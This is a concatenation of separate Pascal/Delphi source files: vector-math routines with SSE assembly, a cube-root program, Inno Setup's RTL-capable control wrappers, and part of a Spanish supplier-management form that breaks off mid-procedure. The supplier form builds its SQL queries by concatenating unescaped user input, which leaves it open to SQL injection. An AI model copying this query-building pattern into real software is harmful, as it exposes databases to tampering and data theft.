Function VectorNullify(Const A:Vector3D):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Begin
If Abs(A.X)<Epsilon Then Result.X:=0 Else Result.X:=A.X;
If Abs(A.Y)<Epsilon Then Result.Y:=0 Else Result.Y:=A.Y;
If Abs(A.Z)<Epsilon Then Result.Z:=0 Else Result.Z:=A.Z;
End;
{$IFDEF SSE}
{$IFDEF BENCHMARK}
Procedure Vector3D.NormalizeSSE;
{$ELSE}
Procedure Vector3D.Normalize; {$IFDEF FPC} Inline;{$ENDIF}
{$ENDIF}
Asm
movss xmm0, [eax+8] // read (z)
shufps xmm0, xmm0, 0h // broadcast length
movlps xmm0, [eax] // read(x,y)
movaps xmm2, xmm0 // store a copy of the vector
mulps xmm0, xmm0 // xmm0 = (sqr(x), sqr(y), sqr(z))
movaps xmm1, xmm0
shufps xmm1, xmm1, 55h // xmm1 = (sqr(y), sqr(y), sqr(y))
addps xmm1, xmm0 // add both
shufps xmm0, xmm0, 0AAh // xmm1 = (sqr(z), sqr(z), sqr(z))
addps xmm0, xmm1 // sum all
shufps xmm0, xmm0, 0h // broadcast length
xorps xmm1, xmm1
ucomiss xmm0, xmm1 // check for zero length
je @@END
rsqrtps xmm0, xmm0 // get reciprocal of length of vector
mulps xmm2, xmm0 // normalize
movlps [eax], xmm2 // store X and Y
shufps xmm2, xmm2, 0AAh // xmm1 = (sqr(z), sqr(z), sqr(z))
movss [eax+8], xmm2 // store Z
@@END:
End;
{$IFDEF BENCHMARK}
Function Vector3D.LengthSSE:Single;
{$ELSE}
Function Vector3D.Length:Single; {$IFDEF FPC} Inline;{$ENDIF}
{$ENDIF}
Asm
movss xmm0, [eax+8] // read (z)
shufps xmm0, xmm0, 0h
movlps xmm0, [eax] // read(x,y)
mulps xmm0, xmm0 // xmm0 = (sqr(x), sqr(y), sqr(z))
movaps xmm1, xmm0
shufps xmm1, xmm1, 55h // xmm1 = (sqr(y), sqr(y), sqr(y))
addps xmm1, xmm0 // add both
shufps xmm0, xmm0, 0AAh // xmm1 = (sqr(z), sqr(z), sqr(z))
addps xmm0, xmm1 // sum all
sqrtss xmm0, xmm0 // and finally, sqrt
movss result, xmm0
End;
{$IFDEF BENCHMARK}
Function Vector3D.DistanceSSE(Const N:Vector3D):Single;
{$ELSE}
Function Vector3D.Distance(Const N:Vector3D):Single; {$IFDEF FPC} Inline;{$ENDIF}
{$ENDIF}
Asm
movss xmm0, [eax+8] // read (z)
shufps xmm0, xmm0, 0h
movlps xmm0, [eax] // read(x,y)
movss xmm1, [edx+8] // read (b.z)
shufps xmm1, xmm1, 0h
movlps xmm1, [edx] // read(b.x,b.y)
subps xmm0, xmm1
mulps xmm0, xmm0 // xmm0 = (sqr(x), sqr(y), sqr(z))
movaps xmm1, xmm0
shufps xmm1, xmm1, 55h // xmm1 = (sqr(y), sqr(y), sqr(y))
addps xmm1, xmm0 // add both
shufps xmm0, xmm0, 0AAh // xmm1 = (sqr(z), sqr(z), sqr(z))
addps xmm0, xmm1 // sum all
sqrtss xmm0, xmm0 // and finally, sqrt
movss result, xmm0
End;
{$ENDIF}
{$IFDEF BENCHMARK} {$UNDEF SSE} {$ENDIF}
{$IFNDEF SSE}
Procedure Vector3D.Normalize; {$IFDEF FPC} Inline;{$ENDIF}
Var
K:Single;
{$IFDEF NEON_FPU}
Temp:Vector3D;
{$ENDIF}
Begin
{$IFDEF NEON_FPU}
Temp := Self;
normalize3_neon(@Temp, @Self);
{$ELSE}
K := (X*X) + (Y*Y) + (Z*Z);
K := InvSqrt(K);
X := X * K;
Y := Y * K;
Z := Z * K;
{$ENDIF}
End;
Function Vector3D.Length:Single; {$IFDEF FPC} Inline;{$ENDIF}
Begin
{$IFDEF OXYGENE}
Result := System.Math.Sqrt((X*X) + (Y*Y) + (Z*Z));
{$ELSE}
Result := Sqrt(Sqr(X) + Sqr(Y) + Sqr(Z));
{$ENDIF}
End;
Function Vector3D.DistanceSquared(Const N:Vector3D):Single;{$IFDEF FPC} Inline;{$ENDIF}
Var
A,B,c:Single;
Begin
A := Self.X-N.X;
B := Self.Y-N.Y;
C := Self.Z-N.Z;
Result := (A*A) + (B*B) + (C*C);
End;
Function Vector3D.Distance(Const N:Vector3D):Single; {$IFDEF FPC} Inline;{$ENDIF}
Begin
Result := Sqrt(Self.DistanceSquared(N));
End;
{$ENDIF}
Function Vector3D.LengthSquared:Single; {$IFDEF FPC} Inline;{$ENDIF}
Begin
Result := (X*X) + (Y*Y) + (Z*Z);
End;
Function Vector3D.Distance2D(Const N:Vector3D):Single; {$IFDEF FPC} Inline;{$ENDIF}
Var
A,B:Single;
Begin
A := Self.X-N.X;
B := Self.Z-N.Z;
Result := Sqrt((A*A) + (B*B));
End;
Function TriangleNormal(Const V0,V1,V2:Vector3D):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Var
A,B:Vector3D;
Begin
A := VectorSubtract(V1,V0);
B := VectorSubtract(V2,V0);
Result := VectorCross(A,B);
Result.Normalize();
End;
Function TriangleHeightNormal(Const V0,V1,V2:Single):Vector3D;
Begin
Result:=TriangleNormal(VectorCreate(0.0, V0, 0.0),
VectorCreate(1.0, V1, 0.0),
VectorCreate(0.0, V2, 1.0));
End;
Function GetTriangleHeight(H0,H1,H2:Single; X,Y:Single):Single;
Var
Normal:Vector3D;
Begin
Normal := VectorUp;
Result := GetTriangleHeight(H0, H1, H2, X, Y, Normal);
End;
Function GetTriangleHeight(H0,H1,H2:Single; X,Y:Single; Var Normal:Vector3D):Single;
Var
D:Single;
FloorNormal:Vector3D;
Begin
FloorNormal := TriangleHeightNormal(H0, H1, H2);
D := - (FloorNormal.Y * H0);
Result := - ((FloorNormal.X * X) + (FloorNormal.Z * Y) + D) / FloorNormal.Y;
Normal := FloorNormal;
End;
{$IFDEF OXYGENE}
Constructor Vector3D.Create(X,Y,Z:Single);
Begin
Self.X := X;
Self.Y := Y;
Self.Z := Z;
End;
{$ENDIF}
End.
|
program cubeRoot(input, output);
const
EPSILON = 1E-6;
var
number, root : real;
begin
repeat
read(number);
if number < 0 then
writeln(number:5:6, ' does not have a real cube root.')
else if number = 0
then writeln(0)
else
begin
root := 1;
repeat
root := (2 * root + number/sqr(root)) / 3;
until (sqr(root) * root - number) < EPSILON;
writeln(root:5:6);
end;
until number = 0;
end.
|
unit BidiCtrls;
{
Inno Setup
Copyright (C) 1997-2007 Jordan Russell
Portions by Martijn Laan
For conditions of distribution and use, see LICENSE.TXT.
RTL-capable versions of standard controls
$jrsoftware: issrc/Components/BidiCtrls.pas,v 1.2 2007/11/27 04:52:53 jr Exp $
}
interface
uses
Windows, SysUtils, Messages, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TNewEdit = class(TEdit)
protected
procedure CreateParams(var Params: TCreateParams); override;
end;
TNewMemo = class(TMemo)
protected
procedure CreateParams(var Params: TCreateParams); override;
end;
TNewComboBox = class(TComboBox)
protected
procedure CreateParams(var Params: TCreateParams); override;
end;
TNewListBox = class(TListBox)
protected
procedure CreateParams(var Params: TCreateParams); override;
end;
TNewButton = class(TButton)
protected
procedure CreateParams(var Params: TCreateParams); override;
end;
TNewCheckBox = class(TCheckBox)
protected
procedure CreateParams(var Params: TCreateParams); override;
end;
TNewRadioButton = class(TRadioButton)
protected
procedure CreateParams(var Params: TCreateParams); override;
end;
procedure Register;
implementation
uses
BidiUtils;
procedure Register;
begin
RegisterComponents('JR', [TNewEdit, TNewMemo, TNewComboBox, TNewListBox,
TNewButton, TNewCheckBox, TNewRadioButton]);
end;
{ TNewEdit }
procedure TNewEdit.CreateParams(var Params: TCreateParams);
begin
inherited;
SetBiDiStyles(Self, Params);
end;
{ TNewMemo }
procedure TNewMemo.CreateParams(var Params: TCreateParams);
begin
inherited;
SetBiDiStyles(Self, Params);
end;
{ TNewComboBox }
procedure TNewComboBox.CreateParams(var Params: TCreateParams);
begin
inherited;
SetBiDiStyles(Self, Params);
end;
{ TNewListBox }
procedure TNewListBox.CreateParams(var Params: TCreateParams);
begin
inherited;
SetBiDiStyles(Self, Params);
end;
{ TNewButton }
procedure TNewButton.CreateParams(var Params: TCreateParams);
begin
inherited;
SetBiDiStyles(Self, Params);
Params.ExStyle := Params.ExStyle and not WS_EX_RIGHT;
end;
{ TNewCheckBox }
procedure TNewCheckBox.CreateParams(var Params: TCreateParams);
begin
inherited;
SetBiDiStyles(Self, Params);
end;
{ TNewRadioButton }
procedure TNewRadioButton.CreateParams(var Params: TCreateParams);
begin
inherited;
SetBiDiStyles(Self, Params);
end;
end.
|
// --------------------------------------------------------------------------
// Archivo del Proyecto Ventas
// Página del proyecto: http://sourceforge.net/projects/ventas
// --------------------------------------------------------------------------
// Este archivo puede ser distribuido y/o modificado bajo lo terminos de la
// Licencia Pública General versión 2 como es publicada por la Free Software
// Fundation, Inc.
// --------------------------------------------------------------------------
unit Proveedores;
interface
uses
SysUtils, Types, Classes, QGraphics, QControls, QForms, QDialogs,
QStdCtrls, QMenus, QTypes, QComCtrls, QcurrEdit, QButtons, QGrids,
QDBGrids, QExtCtrls, Inifiles, StrUtils;
type
TfrmProveedores = class(TForm)
pgeGeneral: TPageControl;
tabDatos: TTabSheet;
grpProveed: TGroupBox;
Label1: TLabel;
Label2: TLabel;
Label4: TLabel;
Label9: TLabel;
txtClave: TEdit;
txtNombre: TEdit;
txtRFC: TEdit;
txtFechaCap: TEdit;
MainMenu1: TMainMenu;
Archivo1: TMenuItem;
mnuInsertar: TMenuItem;
mnuEliminar: TMenuItem;
mnuModificar: TMenuItem;
N3: TMenuItem;
mnuGuardar: TMenuItem;
mnuCancelar: TMenuItem;
N2: TMenuItem;
Salir1: TMenuItem;
mnuConsulta: TMenuItem;
mnuAvanza: TMenuItem;
mnuRetrocede: TMenuItem;
N1: TMenuItem;
mnuBuscar: TMenuItem;
N4: TMenuItem;
mnuLimpiar: TMenuItem;
mnuSeleccionar: TMenuItem;
mnuFichas: TMenuItem;
mnuProved: TMenuItem;
mnuBusqueda: TMenuItem;
pgeDatos: TPageControl;
tabDomicilio: TTabSheet;
grpDomicilio: TGroupBox;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
Label12: TLabel;
txtCalle: TEdit;
txtColonia: TEdit;
txtLocalidad: TEdit;
txtEstado: TEdit;
txtCP: TEdit;
tabContacto: TTabSheet;
grpEncargado: TGroupBox;
Label11: TLabel;
Label13: TLabel;
Label14: TLabel;
Label15: TLabel;
txtEncargado: TEdit;
txtCorreo: TEdit;
txtTelefono: TEdit;
txtFax: TEdit;
tabMovimientos: TTabSheet;
grpCompra: TGroupBox;
Label3: TLabel;
txtFechaCompra: TEdit;
Label10: TLabel;
txtDoctoCompra: TEdit;
Label16: TLabel;
txtImporteCompra: TcurrEdit;
btnInsertar: TBitBtn;
btnEliminar: TBitBtn;
btnModificar: TBitBtn;
btnGuardar: TBitBtn;
btnCancelar: TBitBtn;
tabBusqueda: TTabSheet;
grdListado: TDBGrid;
rdgBuscar: TRadioGroup;
rdgOrden: TRadioGroup;
btnBuscar: TBitBtn;
btnSeleccionar: TBitBtn;
btnLimpiar: TBitBtn;
Label17: TLabel;
txtRegistros: TcurrEdit;
pnlClave: TPanel;
Label18: TLabel;
txtClaveBusq: TEdit;
pnlRfc: TPanel;
Label19: TLabel;
txtRfcBusq: TEdit;
pnlNombre: TPanel;
Label20: TLabel;
txtNombreBusq: TEdit;
N5: TMenuItem;
Domicilio1: TMenuItem;
Contacto1: TMenuItem;
Movimientos1: TMenuItem;
Label21: TLabel;
cmbCategorias: TComboBox;
Label22: TLabel;
txtNombreFiscal: TEdit;
surtido: TcurrEdit;
Label23: TLabel;
procedure btnInsertarClick(Sender: TObject);
procedure btnEliminarClick(Sender: TObject);
procedure btnBuscarClick(Sender: TObject);
procedure btnModificarClick(Sender: TObject);
procedure btnGuardarClick(Sender: TObject);
function VerificaClave:boolean;
function VerificaNombre:boolean;
procedure btnCancelarClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure rdgBuscarClick(Sender: TObject);
procedure btnSeleccionarClick(Sender: TObject);
procedure btnLimpiarClick(Sender: TObject);
procedure mnuProvedClick(Sender: TObject);
procedure mnuBusquedaClick(Sender: TObject);
procedure Domicilio1Click(Sender: TObject);
procedure Contacto1Click(Sender: TObject);
procedure Movimientos1Click(Sender: TObject);
procedure Salir1Click(Sender: TObject);
procedure mnuAvanzaClick(Sender: TObject);
procedure mnuRetrocedeClick(Sender: TObject);
procedure RecuperaCategs;
procedure Salta(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure grdListadoExit(Sender: TObject);
procedure grdListadoEnter(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure txtNombreExit(Sender: TObject);
private
iClave : integer;
sModo, sLocalidad, sEstado : String;
procedure ActivaControles;
procedure LimpiaDatos;
function NuevaClave:Integer;
procedure Colores(sTipo : String);
function VerificaDatos:boolean;
procedure GuardaDatos;
procedure RecuperaConfig;
procedure ActivaBuscar;
procedure RecuperaDatos;
function ClaveCateg(sCateg:String):Integer;
function BuscaCateg(sCateg:String):String;
procedure VerificaCategs;
procedure CargaMovimientos;
procedure ConvierteComillas(Sender : TWidgetControl);
public
{ Public declarations }
end;
var
frmProveedores: TfrmProveedores;
implementation
uses dm;
{$R *.xfm}
procedure TfrmProveedores.btnInsertarClick(Sender: TObject);
begin
sModo := 'Insertar';
pgeGeneral.ActivePage := tabDatos;
ActivaControles;
LimpiaDatos;
txtClave.SetFocus;
txtFechaCap.Text := FormatDateTime('dd/mm/yyyy',Date);
txtLocalidad.Text := sLocalidad;
txtEstado.Text := sEstado;
iClave := NuevaClave;
pgeGeneral.ActivePageIndex := 0;
txtClave.Text := IntToStr(iClave);
if(cmbCategorias.ItemIndex = -1) then
cmbCategorias.ItemIndex := 0;
end;
procedure TfrmProveedores.ActivaControles;
begin
if( (sModo = 'Insertar') or (sModo = 'Modificar') ) then begin
tabBusqueda.TabVisible := false;
Colores('Insertar');
btnInsertar.Enabled := false;
btnModificar.Enabled := false;
btnEliminar.Enabled := false;
mnuInsertar.Enabled := false;
mnuModificar.Enabled := false;
mnuEliminar.Enabled := false;
surtido.Enabled:= true;
btnGuardar.Enabled := true;
btnCancelar.Enabled := true;
mnuGuardar.Enabled := true;
mnuCancelar.Enabled := true;
mnuConsulta.Enabled := false;
mnuBusqueda.Enabled := false;
tabBusqueda.Enabled := false;
txtClave.ReadOnly := false;
txtClave.TabStop := true;
txtNombre.ReadOnly := false;
txtNombre.TabStop := true;
txtNombreFiscal.ReadOnly := false;
txtNombreFiscal.TabStop := true;
txtRfc.ReadOnly := false;
txtRfc.TabStop := true;
txtCalle.ReadOnly := false;
txtCalle.TabStop := true;
txtColonia.ReadOnly := false;
txtColonia.TabStop := true;
txtCp.ReadOnly := false;
txtCp.TabStop := true;
txtLocalidad.ReadOnly := false;
txtLocalidad.TabStop := true;
txtEstado.ReadOnly := false;
txtEstado.TabStop := true;
txtEncargado.ReadOnly := false;
txtEncargado.TabStop := true;
txtTelefono.ReadOnly := false;
txtTelefono.TabStop := true;
txtFax.ReadOnly := false;
txtFax.TabStop := true;
txtCorreo.ReadOnly := false;
txtCorreo.TabStop := true;
cmbCategorias.Enabled := true;
end;
if(sModo = 'Consulta') then begin
tabBusqueda.TabVisible := true;
Colores('NoInsertar');
btnInsertar.Enabled := true;
mnuInsertar.Enabled := true;
btnModificar.Enabled := true;
btnEliminar.Enabled := true;
mnuModificar.Enabled := true;
mnuEliminar.Enabled := true;
btnGuardar.Enabled := false;
btnCancelar.Enabled := false;
mnuGuardar.Enabled := false;
mnuCancelar.Enabled := false;
mnuConsulta.Enabled := true;
mnuFichas.Enabled := true;
tabBusqueda.Enabled := true;
txtClave.ReadOnly := true;
txtClave.TabStop := false;
txtNombre.ReadOnly := true;
txtNombre.TabStop := false;
txtNombreFiscal.ReadOnly := true;
txtNombreFiscal.TabStop := false;
txtRfc.ReadOnly := true;
txtRfc.TabStop := false;
txtCalle.ReadOnly := true;
txtCalle.TabStop := false;
txtColonia.ReadOnly := true;
txtColonia.TabStop := false;
txtCp.ReadOnly := true;
txtCp.TabStop := false;
txtLocalidad.ReadOnly := true;
txtLocalidad.TabStop := false;
txtEstado.ReadOnly := true;
txtEstado.TabStop := false;
txtEncargado.ReadOnly := true;
txtEncargado.TabStop := false;
txtTelefono.ReadOnly := true;
txtTelefono.TabStop := false;
txtFax.ReadOnly := true;
txtFax.TabStop := false;
txtCorreo.ReadOnly := true;
txtCorreo.TabStop := false;
cmbCategorias.Enabled := false;
end;
end;
procedure TfrmProveedores.LimpiaDatos;
begin
txtClave.Clear;
txtRfc.Clear;
txtNombre.Clear;
txtNombreFiscal.Clear;
txtFechaCap.Clear;
txtCalle.Clear;
txtColonia.Clear;
txtCp.Clear;
txtLocalidad.Clear;
txtEstado.Clear;
txtEncargado.Clear;
txtTelefono.Clear;
txtFax.Clear;
txtCorreo.Clear;
txtFechaCompra.Clear;
txtDoctoCompra.Clear;
txtImporteCompra.Value := 0;
surtido.Value := 0;
end;
function TfrmProveedores.NuevaClave:Integer;
begin
with dmDatos.qryModifica do begin
Close;
SQL.Clear;
SQL.Add('SELECT MAX(clave) AS clave FROM proveedores');
Open;
Result := FieldByName('clave').AsInteger + 1;
Close;
end;
end;
procedure TfrmProveedores.Colores(sTipo : String);
begin
if(sTipo = 'Insertar') then begin
txtClave.Font.Color := clWindowText;
txtNombre.Font.Color := clWindowText;
txtNombreFiscal.Font.Color := clWindowText;
txtRfc.Font.Color := clWindowText;
txtCalle.Font.Color := clWindowText;
txtColonia.Font.Color := clWindowText;
txtCp.Font.Color := clWindowText;
txtLocalidad.Font.Color := clWindowText;
txtEstado.Font.Color := clWindowText;
txtEncargado.Font.Color := clWindowText;
txtTelefono.Font.Color := clWindowText;
txtFax.Font.Color := clWindowText;
txtCorreo.Font.Color := clWindowText;
end
else begin
txtClave.Font.Color := clBlue;
txtNombre.Font.Color := clBlue;
txtNombreFiscal.Font.Color := clBlue;
txtRfc.Font.Color := clBlue;
txtCalle.Font.Color := clBlue;
txtColonia.Font.Color := clBlue;
txtCp.Font.Color := clBlue;
txtLocalidad.Font.Color := clBlue;
txtEstado.Font.Color := clBlue;
txtEncargado.Font.Color := clBlue;
txtTelefono.Font.Color := clBlue;
txtFax.Font.Color := clBlue;
txtCorreo.Font.Color := clBlue;
end;
end;
procedure TfrmProveedores.btnEliminarClick(Sender: TObject);
begin
if (pgeGeneral.ActivePage = tabBusqueda) then
RecuperaDatos;
if(Length(Trim(txtClave.Text)) > 0) then begin
pgeGeneral.ActivePage := tabDatos;
if(Application.MessageBox('Se eliminará el proveedor seleccionado','Eliminar',[smbOK]+[smbCancel],smsWarning) = smbOK) then begin
with dmDatos.qryModifica do begin
Close;
SQL.Clear;
SQL.Add('DELETE FROM proveedores WHERE clave = ' + IntToStr(iClave));
ExecSQL;
Close;
end;
LimpiaDatos;
sModo := 'Consulta';
ActivaControles;
btnBuscarClick(Sender);
end;
end;
end;
procedure TfrmProveedores.btnBuscarClick(Sender: TObject);
var
sBM : String;
begin
with dmDatos.qryListados do begin
sBM := dmDatos.cdsCliente.Bookmark;
dmDatos.cdsCliente.Active := false;
Close;
SQL.Clear;
SQL.Add('SELECT clave, nombre, rfc, nombrefiscal, calle, colonia, cp, ');
SQL.Add('localidad, estado, encargado, telefono, fax, ecorreo,');
SQL.Add('fecha_cap, categoria, surtido FROM proveedores WHERE 1=1');
case rdgBuscar.ItemIndex of
0: if(Length(txtClaveBusq.Text) > 0) then
SQL.Add('AND clave = ''' + txtClaveBusq.Text + '''');
1: SQL.Add('AND nombre LIKE ''%' + txtNombreBusq.Text + '%''');
2: SQL.Add('AND rfc STARTING ''' + txtRfcBusq.Text + '''');
end;
case rdgOrden.ItemIndex of
0: SQL.Add('ORDER BY clave');
1: SQL.Add('ORDER BY nombre');
2: SQL.Add('ORDER BY rfc');
end;
Open;
dmDatos.cdsCliente.Active := true;
dmDatos.cdsCliente.FieldByName('nombrefiscal').Visible := False;
dmDatos.cdsCliente.FieldByName('calle').Visible := False;
dmDatos.cdsCliente.FieldByName('colonia').Visible := False;
dmDatos.cdsCliente.FieldByName('cp').Visible := False;
dmDatos.cdsCliente.FieldByName('localidad').Visible := False;
dmDatos.cdsCliente.FieldByName('estado').Visible := False;
dmDatos.cdsCliente.FieldByName('fax').Visible := False;
dmDatos.cdsCliente.FieldByName('fecha_cap').Visible := False;
dmDatos.cdsCliente.FieldByName('categoria').Visible := False;
dmDatos.cdsCliente.FieldByName('clave').DisplayLabel := 'Clave';
dmDatos.cdsCliente.FieldByName('clave').DisplayWidth := 5;
dmDatos.cdsCliente.FieldByName('nombre').DisplayLabel := 'Nombre';
dmDatos.cdsCliente.FieldByName('nombre').DisplayWidth := 30;
dmDatos.cdsCliente.FieldByName('rfc').DisplayLabel := 'RFC';
dmDatos.cdsCliente.FieldByName('encargado').DisplayLabel := 'Contacto';
dmDatos.cdsCliente.FieldByName('encargado').DisplayWidth := 15;
dmDatos.cdsCliente.FieldByName('telefono').DisplayLabel := 'Teléfono';
dmDatos.cdsCliente.FieldByName('ecorreo').DisplayLabel := 'Correo';
if(pgeGeneral.ActivePage = tabBusqueda) then
grdListado.SetFocus;
txtRegistros.Value := dmDatos.cdsCliente.RecordCount;
try
dmDatos.cdsCliente.Bookmark := sBM;
except
txtRegistros.Value := txtRegistros.Value;
end;
end;
end;
procedure TfrmProveedores.btnModificarClick(Sender: TObject);
begin
if (pgeGeneral.ActivePage = tabBusqueda) then
RecuperaDatos;
if(Length(Trim(txtCLave.Text)) > 0) then begin
pgeGeneral.ActivePage := tabDatos;
sModo := 'Modificar';
ActivaControles;
pgeGeneral.ActivePageIndex := 0;
txtClave.SetFocus;
end;
end;
procedure TfrmProveedores.btnGuardarClick(Sender: TObject);
begin
if(VerificaDatos) then begin
GuardaDatos;
sModo := 'Consulta';
ActivaControles;
btnBuscarClick(Sender);
btnInsertar.SetFocus;
end;
end;
procedure TfrmProveedores.ConvierteComillas(Sender : TWidgetControl);
var
i : integer;
sTexto : String;
begin
for i := 0 to Sender.ControlCount - 1 do begin
if(Sender.Controls[i] is TEdit) then begin
sTexto := (Sender.Controls[i] as TEdit).Text;
sTexto := AnsiReplaceStr(sTexto,'''', '`');
sTexto := AnsiReplaceStr(sTexto,'"', '`');
(Sender.Controls[i] as TEdit).Text := sTexto;
end;
end;
end;
function TfrmProveedores.VerificaDatos:boolean;
var
bVerifica : Boolean;
begin
bVerifica := True;
ConvierteComillas(grpProveed);
ConvierteComillas(grpDomicilio);
ConvierteComillas(grpEncargado);
if(Length(txtClave.Text) = 0) then begin
txtClave.SetFocus;
Application.MessageBox('Introduce la clave del proveedor','Error',[smbOK],smsCritical);
bVerifica := False;
end
else if(Length(txtNombre.Text) = 0) then begin
txtNombre.SetFocus;
Application.MessageBox('Introduce el nombre del proveedor','Error',[smbOK],smsCritical);
bVerifica := False;
end
else if(not VerificaClave) then
bVerifica := false
else if(not VerificaNombre) then
bVerifica := false;
Result := bVerifica;
end;
function TfrmProveedores.VerificaClave:boolean;
var
bVerifica : Boolean;
begin
bVerifica := true;
with dmDatos.qryConsulta do begin
Close;
SQL.Clear;
SQL.Add('SELECT clave FROM proveedores WHERE clave = ' + txtClave.Text);
Open;
if(not Eof) and ((sModo = 'Insertar') or
((FieldByName('clave').AsInteger <> iClave) and
(sModo = 'Modificar'))) then begin
bVerifica := false;
Application.MessageBox('La clave ya existe','Error',[smbOK],smsCritical);
txtClave.SetFocus;
end;
Close;
end;
Result := bVerifica;
end;
function TfrmProveedores.VerificaNombre:boolean;
var
bVerifica : Boolean;
begin
bVerifica := true;
with dmDatos.qryConsulta do begin
Close;
SQL.Clear;
SQL.Add('SELECT clave FROM proveedores WHERE nombre = ''' + txtNombre.Text + '''');
Open;
if(not Eof) and ((sModo = 'Insertar') or
((FieldByName('clave').AsInteger <> iClave) and
(sModo = 'Modificar'))) then begin
bVerifica := false;
Application.MessageBox('El nombre del proveedor ya existe','Error',[smbOK],smsCritical);
txtNombre.SetFocus;
end;
Close;
end;
Result := bVerifica;
end;
procedure TfrmProveedores.GuardaDatos;
var
sFecha, sCateg : String;
begin
with dmDatos.qryModifica do begin
if(cmbCategorias.ItemIndex <> -1) then
sCateg := IntToStr(ClaveCateg(cmbCategorias.Items.Strings[cmbCategorias.ItemIndex]))
else
sCateg := 'null';
Close;
SQL.Clear;
sFecha := FormatDateTime('mm/dd/yyyy hh:nn:ss',Now);
if(sModo = 'Insertar') then begin
SQL.Add('INSERT INTO proveedores (clave, nombre, nombrefiscal, rfc, categoria, calle, colonia,');
SQL.Add('cp, localidad, estado, encargado, telefono, fax, ecorreo,');
SQL.Add('fecha_umov, fecha_cap,surtido) VALUES(');
SQL.Add(txtClave.Text + ',''' + txtNombre.Text + ''',''' + txtNombreFiscal.Text + ''',');
SQL.Add('''' + txtRfc.Text + ''',' + sCateg + ',');
SQL.Add('''' + txtCalle.Text + ''',''' + txtColonia.Text + ''',');
SQL.Add('''' + txtCp.Text + ''',''' + txtLocalidad.Text + ''',');
SQL.Add('''' + txtEstado.Text + ''',''' + txtEncargado.Text + ''',');
SQL.Add('''' + txtTelefono.Text + ''',''' + txtFax.Text + ''',');
SQL.Add('''' + txtCorreo.Text + ''',''' + sFecha + ''',''' + sFecha + ''','+ floattostr(surtido.value)+ ')');
ExecSQL;
Close;
SQL.Clear;
SQL.Add('SELECT clave FROM proveedores WHERE nombre = ''' + txtNombre.Text + '''');
Open;
iClave := FieldByName('clave').AsInteger;
Close;
end
else begin
SQL.Add('UPDATE proveedores SET clave = ' + txtClave.Text + ',');
SQL.Add('nombre = ''' + txtNombre.Text + ''',');
SQL.Add('nombrefiscal = ''' + txtNombreFiscal.Text + ''',');
SQL.Add('rfc = ''' + txtRfc.Text + ''',');
SQL.Add('calle = ''' + txtCalle.Text + ''',');
SQL.Add('colonia = ''' + txtColonia.Text + ''',');
SQL.Add('cp = ''' + txtCp.Text + ''',');
SQL.Add('localidad = ''' + txtLocalidad.Text + ''',');
SQL.Add('estado = ''' + txtEstado.Text + ''',');
SQL.Add('encargado = ''' + txtEncargado.Text + ''',');
SQL.Add('telefono = ''' + txtTelefono.Text + ''',');
SQL.Add('fax = ''' + txtFax.Text + ''',');
SQL.Add('fecha_umov = ''' + sFecha + ''',');
SQL.Add('ecorreo = ''' + txtCorreo.Text + ''',');
SQL.Add('categoria = ' + sCateg + ', surtido = ' + floattostr(surtido.value));
SQL.Add('WHERE clave = ' + IntToStr(iClave));
ExecSQL;
end;
Close;
end;
end;
function TfrmProveedores.ClaveCateg(sCateg:String):Integer;
begin
with dmDatos.qryModifica do begin
Close;
SQL.Clear;
SQL.Add('SELECT clave FROM categorias WHERE nombre = ''' + sCateg + '''');
SQL.Add('AND tipo = ''P''');
Open;
Result := FieldByName('clave').AsInteger;
Close;
end;
end;
procedure TfrmProveedores.btnCancelarClick(Sender: TObject);
begin
sModo := 'Consulta';
LimpiaDatos;
ActivaControles;
pgeGeneral.ActivePage := tabBusqueda;
end;
procedure TfrmProveedores.FormShow(Sender: TObject);
begin
VerificaCategs;
LimpiaDatos;
RecuperaCategs;
with dmDatos.qryModifica do begin
Close;
SQL.Clear;
SQL.Add('SELECT localidad, estado FROM empresa');
Open;
sLocalidad := Trim(FieldByName('localidad').AsString);
sEstado := Trim(FieldByName('estado').AsString);
Close;
end;
sModo := 'Consulta';
ActivaControles;
ActivaBuscar;
pgeGeneral.ActivePageIndex:=0;
rdgBuscarClick(Sender);
btnInsertar.SetFocus;
end;
procedure TfrmProveedores.RecuperaConfig;
var
iniArchivo : TIniFile;
sIzq, sArriba, sValor : String;
begin
iniArchivo := TIniFile.Create(ExtractFilePath(Application.ExeName) + 'config.ini');
with iniArchivo do begin
//Recupera la posición Y de la ventana
sArriba := ReadString('Proveedores', 'Posy', '');
//Recupera la posición X de la ventana
sIzq := ReadString('Proveedores', 'Posx', '');
if (Length(sIzq) > 0) and (Length(sArriba) > 0) then begin
Left := StrToInt(sIzq);
Top := StrToInt(sArriba);
end;
//Recupera el valor de los botones de radio de buscar
sValor := ReadString('Proveedores', 'Buscar', '');
if (Length(sValor) > 0) then
rdgBuscar.ItemIndex := StrToInt(sValor);
//Recupera el valor de los botones de radio de orden
sValor := ReadString('Proveedores', 'Orden', '');
if (Length(sValor) > 0) then
rdgOrden.ItemIndex := StrToInt(sValor);
//Recupera la {ultima ficha que se seleccionó
sValor := ReadString('Proveedores', 'Ficha', '');
if (Length(sValor) > 0) then
pgeDatos.ActivePageIndex := StrToInt(sValor);
Free;
end;
end;
procedure TfrmProveedores.ActivaBuscar;
begin
if(pgeGeneral.ActivePage = tabBusqueda) then begin
mnuBuscar.Enabled := false;
mnuLimpiar.Enabled := false;
mnuSeleccionar.Enabled := false;
end
else begin
mnuBuscar.Enabled := true;
mnuLimpiar.Enabled := true;
mnuSeleccionar.Enabled := true;
end;
end;
procedure TfrmProveedores.FormClose(Sender: TObject;
var Action: TCloseAction);
var
iniArchivo : TIniFile;
begin
iniArchivo := TIniFile.Create(ExtractFilePath(Application.ExeName) +'config.ini');
with iniArchivo do begin
// Registra la posición y de la ventana
WriteString('Proveedores', 'Posy', IntToStr(Top));
// Registra la posición X de la ventana
WriteString('Proveedores', 'Posx', IntToStr(Left));
//Registra el valor de los botones de radio de buscar
WriteString('Proveedores', 'Buscar', IntToStr(rdgBuscar.ItemIndex));
//Registra el valor de los botones de radio de orden
WriteString('Proveedores', 'Orden', IntToStr(rdgOrden.ItemIndex));
//Registra la ultima ficha que se seleccionó
